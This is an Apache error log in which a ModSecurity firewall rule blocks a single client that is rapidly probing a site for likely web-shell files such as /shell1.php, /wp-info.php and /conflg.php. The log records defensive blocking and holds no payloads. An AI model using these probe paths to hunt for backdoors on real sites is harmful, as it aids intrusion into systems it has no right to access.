[Thu Jan 29 08:02:25.903508 2026] [:error] [pid 20580:tid 20688] [client 20.219.59.84:16937] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aXqjkZCZ5HHdXPmeL59qBAAAApQ"]
[Thu Jan 29 08:02:26.184240 2026] [:error] [pid 20579:tid 20654] [client 20.219.59.84:46295] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aXqjkjVXNopcNyjJc9WDqgAAAk0"]
[Thu Jan 29 08:02:26.479654 2026] [:error] [pid 19069:tid 19094] [client 20.219.59.84:51641] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aXqjkvDHsRM4BJ9a4Qt5WAAAABA"]
[Thu Jan 29 08:02:26.782074 2026] [:error] [pid 20579:tid 20661] [client 20.219.59.84:47659] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aXqjkjVXNopcNyjJc9WDrQAAAlQ"]
[Thu Jan 29 08:02:27.161636 2026] [:error] [pid 20579:tid 20666] [client 20.219.59.84:46279] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aXqjkzVXNopcNyjJc9WDsAAAAlc"]
[Thu Jan 29 08:02:27.461132 2026] [:error] [pid 20580:tid 20689] [client 20.219.59.84:51629] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aXqjk5CZ5HHdXPmeL59qBgAAApU"]
[Thu Jan 29 08:02:27.744333 2026] [:error] [pid 20486:tid 20492] [client 20.219.59.84:47678] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aXqjk3gqSZb6GBx5nnMWDgAAAQM"]
[Thu Jan 29 08:02:28.090497 2026] [:error] [pid 19177:tid 19199] [client 20.219.59.84:51636] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aXqjlHipGz0PT8TrQv4HXQAAANQ"]
[Thu Jan 29 08:02:28.414809 2026] [:error] [pid 19071:tid 19140] [client 20.219.59.84:46300] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aXqjlJfa8Ix5wWmtmJzEDQAAAIc"]
[Thu Jan 29 08:02:28.888848 2026] [:error] [pid 19177:tid 19186] [client 20.219.59.84:16901] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aXqjlHipGz0PT8TrQv4HXgAAAMc"]
[Thu Jan 29 08:02:29.291976 2026] [:error] [pid 19071:tid 19137] [client 20.219.59.84:47619] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aXqjlZfa8Ix5wWmtmJzEDwAAAIQ"]
[Thu Jan 29 08:02:29.609294 2026] [:error] [pid 20519:tid 20565] [client 20.219.59.84:46296] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aXqjlQo4s4fyROrkyRlYhAAAAZE"]
[Thu Jan 29 08:02:29.936181 2026] [:error] [pid 19177:tid 19194] [client 20.219.59.84:47632] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aXqjlXipGz0PT8TrQv4HYQAAAM8"]
[Thu Jan 29 08:02:30.371291 2026] [:error] [pid 20486:tid 20489] [client 20.219.59.84:16906] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aXqjlngqSZb6GBx5nnMWFgAAAQA"]
[Thu Jan 29 08:02:30.771525 2026] [:error] [pid 20519:tid 20564] [client 20.219.59.84:16955] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aXqjlgo4s4fyROrkyRlYhQAAAZA"]
[Thu Jan 29 08:02:36.423801 2026] [:error] [pid 20519:tid 20552] [client 20.219.59.84:16928] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aXqjnAo4s4fyROrkyRlYmQAAAYQ"]
[Thu Jan 29 08:02:36.964978 2026] [:error] [pid 20579:tid 20646] [client 20.219.59.84:16957] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aXqjnDVXNopcNyjJc9WDtQAAAkU"]
[Thu Jan 29 08:02:37.384376 2026] [:error] [pid 19069:tid 19091] [client 20.219.59.84:47635] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aXqjnfDHsRM4BJ9a4Qt5XgAAAA0"]
[Thu Jan 29 08:02:37.909740 2026] [:error] [pid 20486:tid 20493] [client 20.219.59.84:46315] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aXqjnXgqSZb6GBx5nnMWKwAAAQQ"]
[Thu Jan 29 08:02:38.621574 2026] [:error] [pid 19069:tid 19100] [client 20.219.59.84:47672] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aXqjnvDHsRM4BJ9a4Qt5YgAAABY"]
[Thu Jan 29 08:02:39.225933 2026] [:error] [pid 19177:tid 19183] [client 20.219.59.84:16939] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aXqjn3ipGz0PT8TrQv4HawAAAMQ"]
[Thu Jan 29 08:02:39.566964 2026] [:error] [pid 20486:tid 20500] [client 20.219.59.84:51590] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aXqjn3gqSZb6GBx5nnMWNwAAAQs"]
[Thu Jan 29 08:02:40.063145 2026] [:error] [pid 20519:tid 20558] [client 20.219.59.84:47637] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aXqjoAo4s4fyROrkyRlYoQAAAYo"]
[Thu Jan 29 08:02:40.377063 2026] [:error] [pid 20580:tid 20672] [client 20.219.59.84:16942] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aXqjoJCZ5HHdXPmeL59qDgAAAoQ"]
[Thu Jan 29 08:02:40.665708 2026] [:error] [pid 20579:tid 20661] [client 20.219.59.84:16919] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aXqjoDVXNopcNyjJc9WDugAAAlQ"]
[Thu Jan 29 08:02:41.016942 2026] [:error] [pid 20486:tid 20499] [client 20.219.59.84:51592] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aXqjoXgqSZb6GBx5nnMWPAAAAQo"]
[Thu Jan 29 08:02:41.305941 2026] [:error] [pid 19070:tid 19119] [client 20.219.59.84:46299] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aXqjobou83lIon_aKgY3TAAAAE0"]
[Thu Jan 29 08:02:41.674486 2026] [:error] [pid 20486:tid 20507] [client 20.219.59.84:16948] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aXqjoXgqSZb6GBx5nnMWPgAAARI"]
[Thu Jan 29 08:02:41.986117 2026] [:error] [pid 19069:tid 19086] [client 20.219.59.84:47675] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aXqjofDHsRM4BJ9a4Qt5aQAAAAg"]
[Thu Jan 29 08:02:42.312467 2026] [:error] [pid 19069:tid 19079] [client 20.219.59.84:16938] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aXqjovDHsRM4BJ9a4Qt5agAAAAE"]
[Thu Jan 29 08:02:42.642668 2026] [:error] [pid 20579:tid 20668] [client 20.219.59.84:19522] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aXqjojVXNopcNyjJc9WDvAAAAlg"]
[Thu Jan 29 08:02:42.967949 2026] [:error] [pid 20579:tid 20641] [client 20.219.59.84:47645] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aXqjojVXNopcNyjJc9WDvQAAAkA"]
[Thu Jan 29 08:02:43.317268 2026] [:error] [pid 19071:tid 19156] [client 20.219.59.84:47623] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aXqjo5fa8Ix5wWmtmJzEKwAAAJc"]
[Thu Jan 29 08:02:43.699659 2026] [:error] [pid 19071:tid 19153] [client 20.219.59.84:51634] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aXqjo5fa8Ix5wWmtmJzELQAAAJQ"]
[Thu Jan 29 08:02:44.157328 2026] [:error] [pid 20519:tid 20549] [client 20.219.59.84:16931] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aXqjpAo4s4fyROrkyRlYqAAAAYE"]
[Thu Jan 29 08:02:44.543213 2026] [:error] [pid 20486:tid 20513] [client 20.219.59.84:19546] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aXqjpHgqSZb6GBx5nnMWRAAAARg"]
[Thu Jan 29 08:02:44.971235 2026] [:error] [pid 20486:tid 20492] [client 20.219.59.84:46330] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aXqjpHgqSZb6GBx5nnMWRgAAAQM"]
[Thu Jan 29 08:02:45.347733 2026] [:error] [pid 19071:tid 19150] [client 20.219.59.84:16909] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aXqjpZfa8Ix5wWmtmJzEMgAAAJE"]
[Thu Jan 29 08:02:45.693458 2026] [:error] [pid 19071:tid 19142] [client 20.219.59.84:16941] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aXqjpZfa8Ix5wWmtmJzEMwAAAIk"]
[Thu Jan 29 08:02:46.249341 2026] [:error] [pid 20578:tid 20629] [client 20.219.59.84:46304] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aXqjpg6UX7yOMwQFiyecRwAAAhA"]
[Thu Jan 29 08:02:46.577986 2026] [:error] [pid 19071:tid 19152] [client 20.219.59.84:47651] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aXqjppfa8Ix5wWmtmJzENgAAAJM"]
[Thu Jan 29 08:02:47.050610 2026] [:error] [pid 20486:tid 20500] [client 20.219.59.84:47664] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aXqjp3gqSZb6GBx5nnMWTAAAAQs"]
[Thu Jan 29 08:02:47.384078 2026] [:error] [pid 20486:tid 20493] [client 20.219.59.84:46301] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aXqjp3gqSZb6GBx5nnMWTwAAAQQ"]
[Thu Jan 29 08:02:47.940443 2026] [:error] [pid 20576:tid 20596] [client 20.219.59.84:46280] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aXqjpyrDZws_FlQGi9fmvQAAAco"]
[Thu Jan 29 08:02:48.434854 2026] [:error] [pid 20519:tid 20568] [client 20.219.59.84:47673] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aXqjqAo4s4fyROrkyRlYsgAAAZQ"]
[Thu Jan 29 08:02:48.848486 2026] [:error] [pid 20580:tid 20692] [client 20.219.59.84:46289] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aXqjqJCZ5HHdXPmeL59qFAAAApg"]
[Thu Jan 29 08:02:49.194190 2026] [:error] [pid 20578:tid 20621] [client 20.219.59.84:16922] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aXqjqQ6UX7yOMwQFiyecSwAAAgg"]
[Thu Jan 29 08:02:49.501633 2026] [:error] [pid 19071:tid 19137] [client 20.219.59.84:46321] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aXqjqZfa8Ix5wWmtmJzEOgAAAIQ"]
[Thu Jan 29 08:02:49.843374 2026] [:error] [pid 19071:tid 19133] [client 20.219.59.84:46272] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aXqjqZfa8Ix5wWmtmJzEOwAAAIA"]
[Thu Jan 29 08:02:50.295287 2026] [:error] [pid 19071:tid 19147] [client 20.219.59.84:46314] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aXqjqpfa8Ix5wWmtmJzEPAAAAI4"]
[Thu Jan 29 08:02:50.840022 2026] [:error] [pid 20576:tid 20608] [client 20.219.59.84:47671] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aXqjqirDZws_FlQGi9fmwQAAAdY"]
[Thu Jan 29 08:02:51.418126 2026] [:error] [pid 20486:tid 20505] [client 20.219.59.84:19462] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aXqjq3gqSZb6GBx5nnMWVwAAARA"]
[Thu Jan 29 08:02:51.740024 2026] [:error] [pid 19070:tid 19124] [client 20.219.59.84:46293] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aXqjq7ou83lIon_aKgY3XAAAAFI"]
[Thu Jan 29 08:02:52.277915 2026] [:error] [pid 20519:tid 20550] [client 20.219.59.84:46306] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aXqjrAo4s4fyROrkyRlYtQAAAYI"]
[Thu Jan 29 08:02:52.639492 2026] [:error] [pid 19069:tid 19099] [client 20.219.59.84:46273] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aXqjrPDHsRM4BJ9a4Qt5dAAAABU"]
[Thu Jan 29 08:02:53.208217 2026] [:error] [pid 20576:tid 20597] [client 20.219.59.84:46302] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aXqjrSrDZws_FlQGi9fmwgAAAcs"]
